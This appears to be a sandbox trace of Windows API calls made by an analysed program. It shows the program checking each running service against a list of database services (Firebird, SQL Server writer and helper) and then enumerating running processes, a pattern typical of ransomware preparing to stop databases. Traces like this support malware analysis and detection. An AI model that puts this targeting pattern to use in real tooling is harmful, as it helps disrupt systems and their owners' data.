	[0179.455] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0179.455] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0179.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0179.455] lstrlenW (lpString="CDPSvc") returned 6
	[0179.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0179.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0179.455] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0179.455] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0179.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0179.455] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0179.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0179.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0179.455] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0179.455] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0179.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0179.455] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0179.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0179.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0179.455] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0179.455] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0179.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0179.455] lstrlenW (lpString="CryptSvc") returned 8
	[0179.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0179.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0179.455] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0179.455] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0179.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0179.455] lstrlenW (lpString="DcomLaunch") returned 10
	[0179.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0179.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0179.456] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0179.456] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0179.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0179.456] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0179.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0179.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0179.456] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0179.456] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0179.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0179.456] lstrlenW (lpString="Dhcp") returned 4
	[0179.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0179.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0179.456] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0179.456] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0179.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0179.456] lstrlenW (lpString="Dnscache") returned 8
	[0179.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0179.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0179.456] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0179.456] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0179.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0179.456] lstrlenW (lpString="DPS") returned 3
	[0179.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0179.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0179.456] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0179.456] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0179.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0179.456] lstrlenW (lpString="DsmSvc") returned 6
	[0179.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1
	[0179.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1
	[0179.456] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1
	[0179.456] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1
	[0179.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1
	[0179.457] lstrlenW (lpString="DusmSvc") returned 7
	[0179.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0179.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0179.457] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0179.457] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0179.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0179.457] lstrlenW (lpString="EventLog") returned 8
	[0179.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0179.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0179.457] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0179.457] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0179.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0179.457] lstrlenW (lpString="EventSystem") returned 11
	[0179.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0179.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0179.457] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0179.457] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0179.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0179.457] lstrlenW (lpString="FontCache") returned 9
	[0179.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0179.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0179.457] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0179.457] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0179.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0179.457] lstrlenW (lpString="gpsvc") returned 5
	[0179.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0179.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0179.457] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0179.457] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0179.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0179.457] lstrlenW (lpString="iphlpsvc") returned 8
	[0179.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0179.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0179.458] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0179.458] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0179.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0179.458] lstrlenW (lpString="KeyIso") returned 6
	[0179.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0179.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0179.458] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0179.458] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0179.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0179.458] lstrlenW (lpString="LanmanServer") returned 12
	[0179.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0179.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0179.458] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0179.458] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0179.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0179.458] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0179.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0179.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0179.458] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0179.458] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0179.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0179.458] lstrlenW (lpString="lfsvc") returned 5
	[0179.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0179.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0179.458] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0179.458] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0179.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0179.458] lstrlenW (lpString="lmhosts") returned 7
	[0179.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0179.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0179.459] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0179.459] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0179.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0179.459] lstrlenW (lpString="LSM") returned 3
	[0179.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0179.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0179.459] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0179.459] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0179.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0179.459] lstrlenW (lpString="MpsSvc") returned 6
	[0179.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0179.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0179.459] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0179.459] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0179.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0179.459] lstrlenW (lpString="NcbService") returned 10
	[0179.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0179.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0179.459] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0179.459] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0179.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0179.459] lstrlenW (lpString="netprofm") returned 8
	[0179.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0179.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0179.459] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0179.459] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0179.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0179.459] lstrlenW (lpString="NgcSvc") returned 6
	[0179.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0179.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0179.459] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0179.459] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0179.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0179.460] lstrlenW (lpString="NlaSvc") returned 6
	[0179.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0179.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0179.460] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0179.460] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0179.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0179.460] lstrlenW (lpString="nsi") returned 3
	[0179.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0179.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0179.460] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0179.460] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0179.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0179.460] lstrlenW (lpString="PcaSvc") returned 6
	[0179.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0179.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0179.460] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0179.460] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0179.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0179.460] lstrlenW (lpString="PlugPlay") returned 8
	[0179.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0179.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0179.460] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0179.460] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0179.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0179.460] lstrlenW (lpString="Power") returned 5
	[0179.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0179.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0179.460] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0179.460] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0179.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0179.460] lstrlenW (lpString="ProfSvc") returned 7
	[0179.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0179.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0179.461] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0179.461] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0179.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0179.461] lstrlenW (lpString="RpcEptMapper") returned 12
	[0179.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0179.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0179.461] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0179.461] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0179.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0179.461] lstrlenW (lpString="RpcSs") returned 5
	[0179.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0179.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0179.461] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0179.461] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0179.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0179.461] lstrlenW (lpString="SamSs") returned 5
	[0179.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0179.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0179.461] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0179.461] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0179.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0179.461] lstrlenW (lpString="Schedule") returned 8
	[0179.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0179.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0179.461] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0179.461] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0179.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0179.461] lstrlenW (lpString="SecurityHealthService") returned 21
	[0179.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0179.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0179.461] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0179.461] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0179.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0179.462] lstrlenW (lpString="SENS") returned 4
	[0179.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0179.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0179.462] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0179.462] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0179.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0179.462] lstrlenW (lpString="ShellHWDetection") returned 16
	[0179.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0179.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0179.462] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0179.462] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0179.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0179.462] lstrlenW (lpString="Spooler") returned 7
	[0179.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0179.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0179.462] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0179.462] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0179.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0179.549] lstrlenW (lpString="StateRepository") returned 15
	[0179.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0179.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0179.549] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0179.549] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0179.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0179.549] lstrlenW (lpString="SysMain") returned 7
	[0179.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0179.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0179.549] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0179.549] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0179.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0179.549] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0179.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0179.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0179.549] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0179.549] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0179.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0179.549] lstrlenW (lpString="Themes") returned 6
	[0179.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0179.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0179.549] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0179.549] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0179.550] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45c6cc8 | out: hHeap=0x610000) returned 1
	[0179.550] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x5bc
	[0179.556] Process32FirstW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0179.557] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0179.557] lstrlenW (lpString="System") returned 6
	[0179.557] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0179.558] lstrlenW (lpString="smss.exe") returned 8
	[0179.558] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0179.558] lstrlenW (lpString="csrss.exe") returned 9
	[0179.558] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0179.559] lstrlenW (lpString="wininit.exe") returned 11
	[0179.559] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0179.559] lstrlenW (lpString="csrss.exe") returned 9
	[0179.559] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0179.560] lstrlenW (lpString="winlogon.exe") returned 12
	[0179.560] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0179.560] lstrlenW (lpString="services.exe") returned 12
	[0179.560] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0179.561] lstrlenW (lpString="lsass.exe") returned 9
	[0179.561] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0179.561] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0179.561] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0179.562] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0179.562] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.562] lstrlenW (lpString="svchost.exe") returned 11
	[0179.562] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.563] lstrlenW (lpString="svchost.exe") returned 11
